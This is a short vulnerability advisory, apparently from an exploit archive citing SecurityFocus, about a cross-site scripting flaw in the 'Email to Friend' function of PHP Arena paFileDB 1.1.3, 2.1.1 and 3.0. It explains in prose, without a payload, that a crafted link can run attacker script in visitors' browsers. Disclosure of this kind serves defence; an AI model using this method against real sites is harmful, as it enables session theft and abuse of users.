PHP Arena PAFileDB 1.1.3/2.1.1/3.0 - 'Email To Friend' Cross-Site Scripting

source: https://www.securityfocus.com/bid/6018/info

PHP Arena paFileDB is prone to cross-site scripting attacks.

An attacker may construct a malicious link to the vulnerable script which contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will execute in their web client in the security context of the paFileDB site.

This issue is in the "Email to Friend" function of the paFileDB script.
